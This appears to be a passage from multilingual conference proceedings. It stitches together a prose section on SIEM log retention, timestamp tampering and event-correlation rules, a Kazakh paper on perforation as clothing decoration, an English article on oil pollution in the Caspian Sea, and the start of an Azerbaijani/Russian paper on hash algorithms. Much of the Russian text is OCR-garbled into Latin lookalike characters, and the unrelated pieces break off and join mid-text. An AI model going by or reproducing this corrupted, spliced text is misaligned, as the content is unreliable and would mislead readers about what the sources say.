KonnpoBaHune AaHHbIX. TpeboBaHMA K XpaHeHMO AaHHbIX ByayT onpeaenaTb, Kak AOAr0 AaHHble
XpaHATCA, GopMaT, B KOTOPOM OHWM XPAHATCA, U TAE OHWU XPAHATCA.

BONbWKWHCTBO MHCTPYMeEHTOB 6e30MacHOCTK, NpeaHa3HAYeHHbIX 41A UMMOPTA KYPHAN0B
(Hanpumep, SIEM), noaaepu1BatoT obuenpuHATbie dopmaTsl, Takne Kak CSV, JSON nam Common
Event Format (CEF). Kakon Obl dopmaT HM UCnNonb3osanca, peweHne SIEM  gomKHO
MOEHTMOMLUMPOBATL NONA ANA ONPEeAENEeHHbIX SNEMEHTOB AaHHbIX, TaKMX Kak BPeMA XKypHana M
IP-agpec, cBA3aHHbIM C *KypHanom. MHoraa dopmat CoaepKUT NepeMeHHYLo, 3a KOTOPOW cneayeT
pe3ynbTaT, a WMHOrAA 3TU 3NEeMEeHTbl MEHATCA MecTamu. Hanpumep, XypHan CSV moxeT
oTobpaxaTb [daTy M Bpems, Korga cobbiTve npomsowno, Kak 3/31/20 9:40:55 EST,
NpeACTaBNeHHOEe KaK AaTa, Bpema M YyacoBoW noAc. Ecam peweHune SIEM oxKmaaeT, 4To 31 Tpu
3/1eMeHTa PacnoOXKeHbl B APYroM MOpAAKe, OHO MOXKeT oTobparkaTb HeBEpHble AaHHble,
BbI3bIBaTb cO0bLWeHMe 06 oWnbKe AN MMETb APYrMe HeraTMBHbIe NOCAeACTBUA.

Mprmep HenpaBuabHOrO GOPMATMPOBAHMA BPEMEHW MpeacTaBaseT coboi npobaemy,
KOTOpas, BEpPOATHO, NpUBEAET K AeWUCTBMTENbHO NAOXOM CUTyauun. Bpemsa umeeT Honbuioe
BAMAHME HA TO, KaK [AaHHble KypHana MCnonb3ytoTca B peweHnn SIEM. Ecam 3n10yMbllNeHHWK
MOXXeT U3MEHWUTb BPEMA, CBA3AHHOE C XKypHanamu, LUMOPOBOMN Cnes 3/10YyMbIWNIEHHUKA MOXKET
OCTaTbCA He3aMeYeHHbIM, a TaKKe MOJIHOCTbIO cTepeTbeA. [peacTaBbTe, YTO 310YMbIWAEHHMK
MEHAET BpPemA »ypPHasnoB, 4YTOObl MoKas3aTb, YTO cobbITMA, NMpousowealine 3a NoCnedHue
HEeCKO/IbKO 4acoB, MPOM30LWAM HECKO/IbKO NeT Ha3aA. Pewenune SIEM byaeT BUAETb 3TW XKypHanbl
W pearMpoBaTb MO-Pa3HOMY, YTO MOMKET BKAYaTb apXMBMPOBAHME WAW MNOAHOE YyAaneHue
*KYPHaN0B Ha OCHOBE ero ybexAeHHOCTU B TOM, YTO 3TO CTapble AaHHble! HenpaBuabHbIN aHann3
[AHHbIX MOXKET BbI3BaTb aHANOMMYHYIO CUTyaLMto, Koraa peweHne SIEM HacTpoeHO ANA XpaHeHuA
TONIbKO TEKYLLMX KYPHANOB; OH MOXET MHTepnpeTMpoBaTb AaTy B NONE BPEMEHM B XKypHane Kak
yCTapeBLY W YAANUTb XKyPHa/bl.

AHannz SIEM peweHun: SIEM 6yaeT BbINOMHATL AOMNOAHUTE/bHbIE AENCTBMA MNOC/e
MHAEKCALUMM AaHHBIX, YTOObI MOMOYb aHAZIMTUKY MNONYYUTb LLEHHOCTb 13 TOro, YTO HbINO cCobpaHo.
PeweHune SIEM BbinoAHAET AeAynanKaumMio AaHHbIX M NOCAeAYOLWY 0 MHAEKCALUMIO KOHCOIMAauUmMm
cobbITni. Llenb aToro wara - ymeHbWnTb 06bEM AQHHbIX, AOCTAaBAAEMbIX aHANNTUKY, KOrAa OH
3aMyCKaeT OTYETbl UM OTCIEXKMBAET COOBITMA B BUAKETAX B PEaIbHOM BpeMeHU. ITO MOXKET bbITb
0CODBEHHO NONEe3HO ANA MOBTOPAOLIMXCA AAHHbIX, TAKMX KaK MOBTOPAIOLLMIACA CUTHAN TPEBOTM.
BmecTto TOro, 4tobbl OTNPaBAATb OAMH W TOT € KypPHanA CWUIHA/NOB TPEBOMM Ha CBOKO
NHDOPMALMOHHYIO NaHenb, pelleHme SIEM 0bblvHO NpeobpasyeT HECKOIbKO NPeaynpexaeHnin B
O4HO CODbITME M BKAKOYAET CHETYMK TOTO, CKONbKO pa3 Bbl10 MPOCMOTPEHO NpeaynpexaeHmne.

B peweHuax SIEM Takxe npumMeHseTca Koppenauma cobbiTUn K AaHHbIM, YTO BKAtOYaeT
CcpaBHeHWe cobbITUIA C APYrMMM OaHHbIMKM O cobbITMAX ANA onpedeneHus 6onee KPynHoro
cobbiTna. Koppenauma cobbiTnin paboTaeT nytem 00beAMHEHUA HECKOTbKMX COBbLITUI U3 OAHOrO
MCTOYHMKA UM N3 HECKOIbKMX MCTOYHMKOB Ha OCHOBE OnpeAeneHHbIX KpUTepmMes, TakMX Kak IP-
agpec, vAeHTMOMKATOP MNONb30BATENA MAM BPEeMeHHOe OKHO. Pewenuna SIEM wucnonbsytoT
npasuaa Koppenaummn cobbITnin, 4ToHbl MOMOYb NPOLLECCY NPUHATUA peLleHnii Ha ocHoBe Habopa
arperMpoBaHHbIX AAaHHbIX MW NOCNeA0BaTENbHOCTM ONpeAeeHHbIX YCIOBUA B MOTOKe CODbITUN.
MHorve npasuia Koppenaumm co3aatoTcs ¢ MCnonb3oBaHMem norukm «if / else», 4yto o3Havaer,
YTO MPW BO3HUMKHOBEHWW ONpeAeNeHHbIX CODbITUIA MOMeTbTe 3TO Kak cobbiTMe Koppenauuu.
Hanpumep, ecam ckaHMpPOBaHWe NOPTOB M NpeaynpexaeHma ob yTeuke AaHHbIX CBA3aHbI C OAHMM
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M Tem e IP-aapecom, BO3MOXKHO, 06a cobbITMA ABNAKOTCA YacTbto 6oNee KPYNHOro MHUMAEHTA,
KOTOPbIM OyaeT oTmedyeH Kak 6osee BbICOKMN YPOBEHb PMUCKA, MOTOMY YTO B COYETAaHMUM 3TU /Ba
cobbITNA NpeAcTaBAAOT cOOOM CeTb. HapyLleHWe. ITOT NPUMEP NPaBUAA KOPPENALMU MOMKET BbITb
3aKOAMPOBAH KaK «ecnn dnar CKaHMpoBaHMA nopTa u dnar sKCOUNbTPaALUMM AAHHBIX BUAHbLI C
OAHVMU N TEeMW XKe [aHHbIMK, FeHepuMpoBaTb HOBOE MpeaynpeaeHue C MMeHem cobbiThe
Koppenaunn». Koppenauma cobbiTUii — 3TO KPUTUYECKOE 3HaYeHMe, NoJlydaemoe B pesyabTaTe
LEeHTpanM3aLUmm AaHHbIX B pamkax pelleHuna SIEM. PaHee A 3aaBAA, YTO 0ZHa OrPOMHan OWnbKa,
KOTOPYK [O0MyCKalOT MeHee 3pesible OpraHumsaumm no H6e30macHOCTM, — 3TO M30/MPOBAHHOE
npeacrtasneHne o6 oTAeNbHbIX cobbiTMAX 6He3zonacHocTU. Koppenauma cobbiTMn MbiTaeTcs
aBTOMATM3MPOBATb MpPOLECC MNPOCMOTPA HECKONbKUX COBbITMIA, 4YTO MO3BONAET /yyule
NpeAoCTaBAATb aHANNTUKY AaHHblE O CODLITUAX.
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NIEKOP B COBPEMEHHOWM OIEXKE
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MexayHapoaHaa obpasoBaTenbHad Kopnopauma, AamaTsl, KasaxctaH
OmunpxaHosa E.O.

Ka3axcKkuit HauMOHaNbHbIM NeaarorMyecknii yHnBepcmTeT umeHn Abas, Anmarsl,
KasaxcTaH

NHbopmauma o6 aBTopax:

Hypb6ai Cayne KypbaHbekKbi3bl — A0KTOp PhD, MexayHapoaHaa obpasosatensHas Koprnopaums,
AnmaTtbl, Ka3zaxctaH

OmumpxaHoOBa EpKkexkaH OMMpXaHOBHa - KTH, Kasaxckui HaLUMOHaNbHbIN
neaarornyeckmMin yHuBepcuTeT umerHn Abas, Anmatsl, KasaxctaH

B HacTosee Bpems noTpebutenb NpeabsaBaseT BbiCOKME TPeOOBaAHMA K COBPEMEHHOM
odexae. Tak, OHa [O/IXHa OblTb HE TONbKO XOPOLWO CKOHCTPYMPOBaHa M WM3roToBAEHA W3
TEKCTU/IbHbIX MaTepPManoB C BbICOKMMW 3KCM/IyaTalMOHHbIMKM CBOMCTBAMW, HO M BblpaxkaTb
WHOMBUAYANbHOCTb  Yenoseka. WMHAMBMAyannsmpoBaTb o06pa3  notpebutens nossonset
NPOEKTUPOBAHNE OTALNKN K OAexae.

OTaenka B 3HaAYMTE/IbHOW CTeneHn GOPMMPYET 3CTETMYECKOe BOCMPUATUE, MO3BONAET
CYLLECTBEHHO YAYYLIMTb Ka4yecTBO M PacWMPUTb acCOPTUMEHT oaexabl. CoBpemeHHas moza
oTAaeT npeAnoyTeHME BMAAM OTAENKM, B KOTOPbIX COYETATCA 3/1eMeHTbl  PYy4YHOro
[EKOPUPOBAHMA MAaTEPNANOB M HOBblE TEXHOIOTUM M3TOTOBAEHWA.

C nosBAEHWEM HOBbIX BWAOB MATEPMaNOB M HOBbIX BMAOB OTAENKM C PA3NUYHbIMM
CBOMCTBAMM BO3HMKaeT HeobXOoAMMOCTb MCCNefoBaTb M OLEHWMBATb TEXHONOIMIO MNOJyYeHMA
OTAEeNKW. B paHee npoBeaeHHbIX MccneaoBaHmax [1] Ha OCHOBE TEOPETMYECKOro OCMbICAEHMA
MHOroobpasuna BMAOB OTAENKM Dblna CcOCTaBAeHa MX Knaccudurauma. [aHHaa Knaccudurauma
npeacTaBneHa B BMAE CTPYKTYPHOM MHOrFOypOBHEBOM CXEMbl, FAe BCE BWAbl OTAENKWU OAeXApbl
PACCMaTPMBALOTCA MO YETbIPEM YPOBHAM:

1) no cnocoby W3roToBNEHMA: MNOBEPXHOCTHAA OTAeNKa, ObbemHas OTAesKa,
[ONONHUTENbHbIE aKCceccyapbl;

2) no cnocoby BO3AENCTBMA HaA MaTepuan: MexaHuyeckoe BO3AeNCTBUE, GU3MKO-
XMMUYECcKoe BO3AeNCTBNE, KOMOUMHNMPOBAHHOE BO3AENCTBUE;

3) no cnocoby coeauMHeHus (PuUKcauMn) OTAENKM: HUTOYHOE COoeduHEHUE, KeeBoe
coeanHeHne, CBapHoOe, 3aKk1enoYyHoe, GUKcaLums C NOMOLLbIO BAaXHO-Ten108oM 06paboTkm (BTO),
durKcauma c nomoubto BTO 1 XMMUYECKUX CpefCTB;

4) no accopTMMeHTy (HaMMEeHOBaHWI0) BWAOB OTAENKW: anmnAMKauua, BbIWWBKA,
OTAENOYHbIE CTPOYKM W LWBbI, OTAEeN0YHan GYPHUTYPaA, OTAEe/Ka WHYpom, Belkon, BaxpomoMn,
CKNAAKW, APanupPoBKuM, 3almnbl, 6ydbl, nancce, rodbpe n T.4.

AHanNM3 COBPEMEHHbIX MOJHbIX TEHAEHUMI B OAeXAe C NO3ULMM U3YYeHUs BUAOB U
cnocoboB BbINONHEHWUA OTAE/KM MOKa3an elle bosbliee Ux pasHoobpasne, YTo CBUAELTENbCTBYET
0 HeobxoAMMOCTM BHECEeHMA [AOMNOMHEHUA B CYLWECTBYIOLWYIO KaaccuduKaumioo, YToOb
HaKOMNEHHbIEe 3HAHMA NPUBENN K YPOBHIO CUCTEMHOIO NOAX0Aa A1 TOYHOTO OPUEHTMPOBAHMA B
MHOroobpasunm BUA0B MU TEXHOIOTMW BbINONHEHWUA OTAENKM B OAEKAE.

YCTaHOBNEHO, YTO COBPEMEHHas MOJa BO3BpallaeT BHMMaHME K pyd4HOM paboTe, He
OTpULAsA, OAHAKO, 4YTO ObICTPO pPa3BMBAIOLIMECA BbICOKOTEXHONOIMMUYECKME UHMKEHEpPHble
Pa3paboTKM pPacLUMPAOT MHHOBALMM B OTAENKE LIBENHbIX M3Aenuin. B HacTosulee Bpemsa Bce
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bonbliee BHMMAHME NPUBNEKAET OTAE/IKA, B KOTOPOW COYETAOTCA 3/1IEMEHTbI PyYHOM paboTbl 1
HOBble MeTOAbl €€ U3roTOBAEHMA (CBAapKa, CKNenBaHMe, nasepHas obpaboTka M Ap.). 3a4acTyto
HOBble TEXHO/MIOrMM OTAENKM OAEMAbl CBA3aHbI C WMCMNOJb30BaHMEM TPAAMUMOHHOIO OfbiTa
[EKOPMPOBAHMA Pa3/IMYHbIX MATEPUANoOB WM C NepeHeceHMem TPaAMUMOHHBIX cnocobos
OTAENKM Ha HOBble maTepuanbl. B xome wccneposaTenbCkoi paboTbl MO PETPOCMEKTMBE U
nepcrneKkTMBe PasBUTUA TEXHOIOTUI BbINOJHEHUA OTAENKW, CledyeT OTMETWUTb 3HauuTesNbHoe
BAVAHME HA 3TM TEXHONOMMM npoueccoB AuddepeHUMaUmMmM U WMHTErpauMm B MUPOBOW
MPOMbILWAEHHOCTM XMMUYECKMX BOJIOKOH WM TeKCcTundA. V3BecTHO, 4To Bonbluioe pasHoobpasume
OTAEN0K XapaKTePHO ANA WU34ENNA BbICOKOW MoAbl M MHAMBWAYAAM3UPOBAHHOIO Cnpoca, As
KOTOPbIX TPAANUMOHHO M3bICKAHHbIM YKpPaLWEHUEM CNYXKaT Takne BUAbl OTAENKM, KaK 0bbemHasn
BbILUMBKA M annaunKkauus, nepdopauma, MHKPYCTaLmA, HOBble METOAbl KPalleHUs 1 nevaTaHus m
Ap., KOTopble paHee He bbbl NPeaACcTaBAeHbl B CYLLECTBYIOWEN Knaccupuraumm.

TaKKe MHOrMe M3BECTHble M HEW3BECTHble AM3alHEepPbl WLYT BAOXHOBEHWA B CTapbIX
TEXHMKAX AeKopa 1 OTAENOK, HO HAaXo4AT HOBOE 3By4YaHMe B U34EIMM C UX MCNOb30BaHWeM. Kak
M3BECTHO, MOJa UMKAMYHA. WM CcTapble TexXHUMKM [eKopa HaxoAAT CBOe MpPUMEHEeHWe Ha
COBPEMEHHOM 3Tane MpPoOW3BOACTBA OAEXAbl, U NPU CO34AHMM TEXHWK AEKOPa MCNOAb3yHTCA
WHHOBALMOHHbIE AU ANA UX BONIOLLEHMA.

Y )

PucyHok 1 — Mepdopauns B Konnekumnsax Pobepto Kasanam [3]
B ocHoBHOM, nepdopnpoBaHHbIe Yy30Pbl Ha TKAHM M KOXe npeactasuan JloHaTensnbl
Bepcaye, PobepTo KaBannu, AnekcaHap MakkyuH, bepbeppu Mpopcym 1 mHorme apyrue (puc. 1,
2).
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PucyHok 2 — Mepdopauma B konnekumax KansuH Knamx, AxkencoH By

MOMMMO NAaKOHWMYHBIX MOZENEN, MOMYNPO3PAYHbIX M3-32 MHOMKECTBA MENIKMX OaM3KO
PACMNONOKEHHbIX OTBEPCTUIA, AM3aNHEPBI NPEACTaBUAN U Bosee POMAHTUYHYIO U CEeKCyaslbHYHO
Bepcuto TpeHaa. OHKM yKpacuam cnoxKHoM nepdopaumen BedepHue nnatba, 06Ku 1 6ay3bl. Mpu
3TOM PUCYHOK Ha TKaHW MOKET BbITb HACTO/IbKO C/IOKHBIM M MCKYCHO BbIMOJHEHHbBIM, YTO C TPYAOM
MOMHO  OT/IMYUTL  KOMKY OT KPY)KeBa, a Mnpope3M — OT PWUCYHKOB Ha  TKaHMW.
Versace n Roberto Cavalli He mornn 060MTK BHUMAHWEM 3TOT TPEHA, M YNYCTUTb BO3MOMKHOCTb
npuaaTh YyBCTBEHHOCTb KOXKaHbIM Modensm 61arogaps MCnosib30BaHWIO Na3epHoM neppopaumm.
Y JoHaTennsl Bepcaye KoKaHble NepdopnpOBaHHbIe BCTAaBKM YKPALLIAKOT NAaTbs, a OOKN 1 BOBCE
MOJIHOCTbLIO CLUUTLI M3 NepPopMpPoBaHHOM KoK, PobepTo Kasanaun npeacrtasun 6enbii total-look,
OTBEYaloWMI NocneaHnUM TpeHaam: pa3HoobpasHble Npopesn Ha pyballke, XakeTe n BproKax
[OMNONHEHbI IEKOPOM 13 KEMYYIKMH.

MoCKONbKY MMetoLIMeca B CneumanbHoOn aMTepatype CBeAeHna 0 JaHHOM BMAE OTAENKM

HOCAT B OCHOBHOM OMMUCATENbHbIN XapaKkTep, TO 6bINM BbINOJHEHDI TeopeTnvyeckmne wu
3KCNepmmeHTalbHble NCCNEOOBaHNA OTAE/TKWN OAEXAbI rlepd)opau,meﬁ.

BWObI NEFOOFPALIMA B OOQEXKIE

e

nasepHas 3-D nevuare
ofpaboTra

BblpE3aHne
HOMXHWLLAMN

PucyHOK 3 - Knaccndukauma snaos nepdopaumm B ogexae [2]



«Foundations and Trends in Research» (April 3-4, 2025). Copenhagen, Denmark I

[aHHbIM BUA, TEXHUKU LWIMPOKO MpumMmeHsaeTca B Pecnybanke KasaxcTaH Npu co3gaHum
HaLMOHANbHOM OAeXAbl C 91EMEHTAMM Ka3aXxCKOro OpHameHTa

A

PucyHok 4 — Ka3axcKuil HauMoHanbHbIA KamM30/, BbINMOJHEHHbIN B TEXHUKE «nepdopauma»

N3BECTHO, YTO B MMpPE OYeHb MHOIO APYruX, He MeHee MHTEPECHbIX TEXHWUK U cnocobos
[eKopa, KOTopble CO34at0TCA KaxKAblh AeHb. B cBOMX KONNeKumax Am3alHepbl MCMONb3YIOT He
TO/IbKO CTapble, NpoBepeHHble CNocobbl AEKOPUPOBAHMA, HO M CO3/1at0T HOBbIE, C MPUMEHEHNEM
MHHOBALMOHHbIX TEXHO/IOTMIA. Hanpumep, co3gaHne AeKOPaTUBHbIX 3/1eMEHTOB C NOMOLLbo 3D
NPUHTEPOB.

HecomMHeHHO, coBpeMeHHaa Mmoa He obxoantca be3 aekopa. B 3Toi cBA3M BbISBAEHO, YTO
chepa NPUMEHEHUS }KEHCKON OAeXK bl C AEKOPOM O4YeHb 0bLWMpHa M MHOroobpasHa. B PK oaexkaa
C NPUMEHEeHMEM AeKopa ABMAETCA 0CODEHHO aKTyasbHOM, T. K. MCNOb3YEeTCs BO MHOTUX chepax
U3HU. ITO MOTYT ObITb HALMOHAbHbIE NMPAa3aHUKMN, TOPKECTBEHHbIE 1 CBETCKME MEPONPUATUA, U
T.4.

Jlumepamypa:
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ENVIRONMENTAL PROBLEMS ARISING
FROM THE EXPLOITATION AND
TRANSPORTATION OF OIL AND GAS
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Abstract

The exploitation and transportation of oil and gas, while crucial to the global economy, can
cause significant environmental problems. These processes, involving the extraction, processing,
and transportation of natural resources, are associated with various environmental risks. This
article discusses the key ecological problems caused by oil and gas exploitation and transportation,
as well as potential solutions. First and foremost, oil spills and gas leaks pose significant harm to
the natural environment. These spills, occurring in both marine and terrestrial areas, have serious
effects on aquatic ecosystems, soil, and local flora and fauna. Oil spills in particular, especially
those in marine environments, threaten the lives of fish and other marine life, causing long-term
damage to the ecosystem. Air pollution also remains a significant ecological issue. During the
extraction and processing of oil and gas, harmful gases such as carbon dioxide (CO,), methane
(CH4), and others are released into the atmosphere, accelerating global warming. This contributes
to climate change and exacerbates global environmental problems. Additionally, the disruption of
ecosystems and the destruction of flora and fauna are consequences of these processes. The
development and transportation of oil and gas fields often require interference with nature,
leading to the destruction of natural habitats, the extinction of species, and a reduction in
biodiversity. The article proposes several solutions to mitigate these environmental issues.
Transitioning to sustainable energy sources, implementing clean technologies, and monitoring and
regulating environmental impacts can help protect the environment. Furthermore, restorative
measures and emergency response strategies can be used to preserve ecosystems. Overall, to
address the environmental problems associated with oil and gas exploitation and transportation,
cooperation and effective regulatory mechanisms between governments, international
organizations, and companies are essential.

Keywords: Caspian Sea, environmental problem, oil, gas, human activity

Introduction

The ecological problems of the Caspian Sea and its coast are a result of the long-term
intensive economic development history of the countries in this region. These problems are
further exacerbated by both natural changes and contemporary socio-economic issues.The
impacts of ecological problems on society can be classified into two categories—direct and
indirect . Direct impacts, such as the loss of biological resources (industrial fish species and their
food objects), can be measured economically. For instance, the reduction of sturgeon fish stocks
in the Caspian Sea can be quantified through the loss of sales for Caspian countries. This also
includes the costs incurred to compensate for the damage (e.g., building fish breeding facilities)
[3]. Indirect impacts are related to the loss of ecosystems' self-purification ability, the disruption
of balance, and the shift to a new state. For society, this manifests in the reduction of the aesthetic
value of landscapes and worsened living conditions for the population. Additionally, these losses
often lead to direct economic losses (e.g., impacts on the tourism sector, etc.) [4].
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When journalists discuss how the Caspian falls within the "interest spheres" of various
countries, they sometimes overlook the fact that these countries themselves are part of the
Caspian's influence zone. For example, against the backdrop of the expected 10-50 billion dollars
of Western investment in Caspian oil, the economic losses resulting from the massive destruction
of Caspian herring are estimated at only 2 million dollars. However, this actually means the loss of
200,000 tons of cheap protein food. The food shortages resulting from this in the Caspian region
could lead to instability and social risks, which may pose a real threat to Western oil markets and
even trigger a large-scale fuel crisis under unfavorable conditions. A significant portion of the
damage to nature caused by human activities is not taken into account in economic calculations.
Due to the lack of methods for the economic valuation of biodiversity and ecological services,
planning authorities in Caspian states tend to prioritize the development of extraction industries
and "agrarian industries" over the sustainable use of biological resources, tourism, and recreation.
The main pollutant in the Caspian Sea is oil. Qil pollution hinders the development of the Caspian's
phytobenthos and phytoplankton, particularly blue-green and diatom algae, reduces oxygen
production, and accumulates in bottom sediments. The increase in pollution also negatively
impacts the exchange of heat, gases, and moisture between the surface water and the
atmosphere. As a result of the spread of oil layers over large areas, evaporation rates decrease
significantly [1].

The impact of oil pollution is most apparent in waterfowl. When in contact with oil, the
feathers of birds lose their waterproofing and thermal insulation properties, leading to their rapid
destruction. Mass bird deaths have been repeatedly observed in the Absheron area. For example,
according to reports from the Azerbaijani media, around 30,000 birds perished in 1998 near Q0!
Island, located close to the settlement of Alyat. The proximity of reserves to oil wells poses a
constant threat to Ramsar wetland areas on both the western and eastern shores of the Caspian
[5].

The impact of oil spills on other aquatic animals is also significant, though less visible. In
particular, there is a correlation between the start of oil extraction and the reduction of the
number of Caspian perch and the loss of its resource value (its spawning areas overlap with oil
extraction zones). Even more dangerous is the destruction of entire habitats, not just individual
species, due to pollution. For example, the Soymonov Bay in Turkmenistan and large areas along
the western coast of the South Caspian are vulnerable. Unfortunately, the areas where fish larvae
grow in the South Caspian significantly overlap with oil and gas reserves, and the Marovsk marshes
are located very close to these areas. Before oil exploration began in the North Caspian, the
pollution level was low due to limited studies and the special protected status of this sea section.
However, after the discovery of the Tengiz field and later the Keshagan field, the situation
changed. On September 23, 1993, the Kazakh government's decree No. 936 and the Russian
Federation's Government decree No. 317 on March 14, 1998, lifted the protected status of the
North Caspian, allowing oil exploration and extraction. The pollution risk here is particularly high
because this area is characterized by shallow waters, high layer pressures, etc. Recall that the
accident at Tengiz No. 37 well in 1985 caused the release of 3 million tons of oil and the destruction
of nearly 200,000 birds [2].

In recent years, a decline in investment activity in the South Caspian has brought some
cautious optimism. It is now clear that a sharp increase in oil extraction in the Turkmenistan and
Azerbaijan sectors is unlikely. According to forecasts made in 1998, Azerbaijan was supposed to
extract 45 million tons of oil by 2002 (in reality, this figure was about 15 million tons). Currently,
the existing extraction capacity is sufficient only to operate oil refineries at full capacity. However,
the already discovered fields will be exploited, which will increase the risk of accidents and large-
scale spills in the sea. Qil extraction in the North Caspian is more dangerous, and in the coming
years, annual extraction is expected to reach 50 million tons, with projected resources amounting
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to 5-7 billion tons. In recent years, the North Caspian has been at the forefront of accident
statistics [6].

The history of oil extraction in the Caspian is also the history of its pollution, with each of
the three "oil booms" leaving its mark. Although oil extraction technology has improved, the
specific pollution associated with increased production remains largely unaffected. It appears that
pollution levels in the Baku Bay and other oil extraction areas were approximately the same during
the first (until 1917), second (1940s-50s), and third (1970s) oil extraction peaks. In Turkmenistan,
anthropogenic pollution was particularly notable during the Great Patriotic War (1941-1945),
when the Tuapse QOil Refinery was relocated here. This was accompanied by a mass destruction of
waterfowl. In the narrow coastal strips and islands of the Turkmenbashy Bay, as stormy waves
erode the shores, "asphalt trails" formed from oil seeping into the sand periodically emerge.
Starting in the mid-1970s, a strong oil and gas extraction industry began to form along the coast
of Western Turkmenistan, stretching approximately 250 km. In 1979, the exploitation of the
Dagacik and Aligiil, Barsa-Gelmes, and Komsomol fields began on the Cheleken Peninsula [7].

Significant pollution in Turkmenistan's Caspian sector occurred during the intensive
development of the Lam and Jdanov bank fields: 6 open wells with flame-accompanied oil leaks,
2 gas and water eruptions, as well as multiple emergency situations were recorded. Between
1982-1987, despite numerous legislative acts (decisions, decrees, instructions) and local
monitoring agencies, the hydrochemical condition in the oil extraction areas remained very
unhealthy. During the period of reconstruction, against the backdrop of a general decline in
production, the situation with oil pollution began to improve. In 1997-1998, the amount of oil
products along the southeast shores of the Caspian decreased several times, although it was still
1.5-2 times higher than normal. This improvement was related not only to the absence of drilling
activities and the general reduction in operations but also to the modernization of the
Turkmenbashy Qil Refinery, which led to a reduction in waste discharge. The reduction in pollution
levels had an immediate positive impact on the biota's condition. In recent years, algae have
proliferated in Turkmenbashy Bay, indicating improved water quality. Even in the previously most
polluted Soymonov Bay, shrimp have started to appear [6].

In addition to oil, another significant risk factor threatening the biota is the discharge of
waters related to oil extraction. Typically, the separation of oil and water takes place onshore,
after which the water is discharged into "evaporation ponds." These ponds are used as natural
depressions (valley depressions, salt marshes) or, rarely, as barcan depressions. Since these waters
have high salinity (100 g/I and more), oil residues, surface-active substances (SAS), and heavy
metals, they do not evaporate but spread over the surface, seep into the soil, and flow into
underground waters, eventually reaching the sea. In comparison, the impact of solid waste is less
significant. This category includes remnants of oil extraction equipment and structures, drilling
waste, etc. In some cases, these materials contain hazardous substances such as transformer oils,
heavy metals, and radioactive materials. The most well-known case is the sulfur deposits formed
during the purification of Tengiz oil (6.9% by weight, approximately 5 million tons accumulated)
[5].

The majority of pollution (about 90% of the total) flows into the Caspian via river waters.
This applies to oil hydrocarbons, phenols, surface-active substances, organic matter, metals, and
other indicators as well. In recent years, there has been a reduction in pollution levels from rivers,
with the exception of the Terek River (where oil hydrocarbons exceed the norm by 400 times or
more), where oil and waste flow from damaged oil infrastructure in Chechnya.
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SIFROLOMD ALQORITMLORI
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Xilasa. Bu maqala, hash funksiyalarinin asas anlayislarini va onlarin kriptoqrafiyada istifada
sahalarini arasdirir. MD5, SHA-1 va SHA-256 kimi mashur hash alqoritmlari miizakira olunur, onlarin
tahliikasizlik zaifliklari va miasir kriptografik talablara cavab veran daha giiclii alternativiardan biri
olan SHA-256-nin Ustinliiklari vurgulanir. Hash funksiyalarinin malumatin biitévliytini yoxlamag,
ragamsal imzalar yaratmaq va parol yaddas sistemlarinda istifadasi haqgqinda da genis malumat
verilir. Magalada, miuixtalif hash funksiyalarinin tahliikasizliyi, dstiinliklari va mahdudiyyatlari da
nazardan kegirilir.

Acar sézlar: Hash funksiyalari, MD5, SHA-1, SHA-256, sifralama, tahliikasizlik, kriptografiya,
ragamsal imzalar, parol, malumat biitévliyd.
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ENCRYPTION ALGORITHMS

Summary. This article explores the fundamental concepts of hash functions and their
applications in cryptography. It discusses popular hash algorithms such as MD5, SHA-1, and SHA-
256, highlighting the security vulnerabilities of older algorithms and the advantages of the more
robust SHA-256 in meeting modern cryptographic standards. The use of hash functions in verifying
data integrity, creating digital signatures, and storing passwords securely is also covered. The
article examines the security, benefits, and limitations of various hash functions.

Keywords: Hash functions, MD5, SHA-1, SHA-256, encryption, security, cryptography, digital
signatures, password, data integrity.

Acum ATN3ALOA
AKagemus rocy4apCTBEHHOro ynpaBieHMA npu npe3vaeHTe AsepbangyKkaHcKoM
Pecnyb6nukun, marnctpaHT

ANTOPUTMbI LULMOPOBAHKA

Pesiome. B cmamee paccmampusaromcs OCHOBHblE NOHAMUA Xeuw-(yHKUul U ux
npumeHeHue 8 Kpunmoepaguu. Obcy#daromcsa nonyaapHele xew-an20pummel, makue Kak MD5,
SHA-1 u SHA-256, nod4yepkusaromcs ya38UMOCMU CMApsiX GA20pUMMO8 U npeumyuecmsa bosee
HadewHo2o SHA-256 018 coBpeMeHHbIX  Kpunmoepaguyeckux mpebosaHuli.  Takxice
paccmampusaemca UCNosb308aHUE xeuw-pyHKUUlU 0714 nposepku Ues0CmHoOCmuU OaHHbIX,
co30aHUA yugposbix nodnucell u 6e30nacHo20 XpaHeHus naposel. B cmamee makxce
aHanusupytomcs 6e30nacHocme, NPeuMyuwecmasa U 02paHu4eHUs PasnuYHsIX xeuw-gpyHKUUU.

Kntoyessie crnosa: Xew-gpyHkyuu, MD5, SHA-1, SHA-256, wugpposaHue, 6ezonacHocms,
Kpunmoapagus, yugpossie noonucu, Naposs, Ues10CMHOCMb OGHHbIX.
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GIRIS

Sifralama, malumatlarin maxfiliyini gorumagq Ugiin onlari oxunmaz hala gatiren xUsusi bir
prosesdir. Bu texnologiya malumatlari kodlasdiraraq yalniz miayyan bir acar vasitasila onlarin
oxuna bilan formaya gaytariimasini temin edir. Sifraleama muasir dévrin ragamsal tahlikasizliyinda
markazi rol oynayir vo ham saxsi, ham da taskilati saviyyada genis istifada olunur. Masalan,
glndalik istifade etdiyimiz e-poct sistemlarinds, onlayn &danislerde va hatta mesajlasma
tatbiglarinda sifralema proseslari asas tahllkasizlik tadbiri kimi tatbiq edilir.

Sifralamanin asas magsadlari arasinda maxfilik, malumat butévliyl, identifikasiya va
midaxilaya garsl mugavimat dayanir. Maxfilik baximindan sifralema, malumatlarin yalniz icaza
verilan saxslar va ya qurumlar tarafindan oxuna bilacayina zamanat verir. Malumat butovliyu iss,
gondarilan va ya saxlanilan malumatin dayisdirilmamis vaziyystda galmasini tamin edir. Bundan
alave, sifraloma malumatlarin manbayini dogrulamaga va Ulglncl tarafin midaxilasina qarsi
mugavimat gostarmaya imkan yaradir.

Sifraloma texnologiyasi giindalik hayatimizin miixtslif sahalsrinds tatbiqg edilir. internet
tahltkasizliyi sahasinda HTTPS protokolu vasitasila onlayn malumatlarin (masalan, kredit kart
nomralari va saxsi malumatlar) icazasiz sexslar tarafindan ogurlanmasinin garsisi alinir. Elektron
poct xidmatlarinds tatbig olunan sifraleama, hassas malumatlarin géndarilmasi zamani maxfiliyi
goruyur. Mobil tstbiglerds, xlsusila bank tatbigleri ve ucdan-uca sifralema (end-to-end
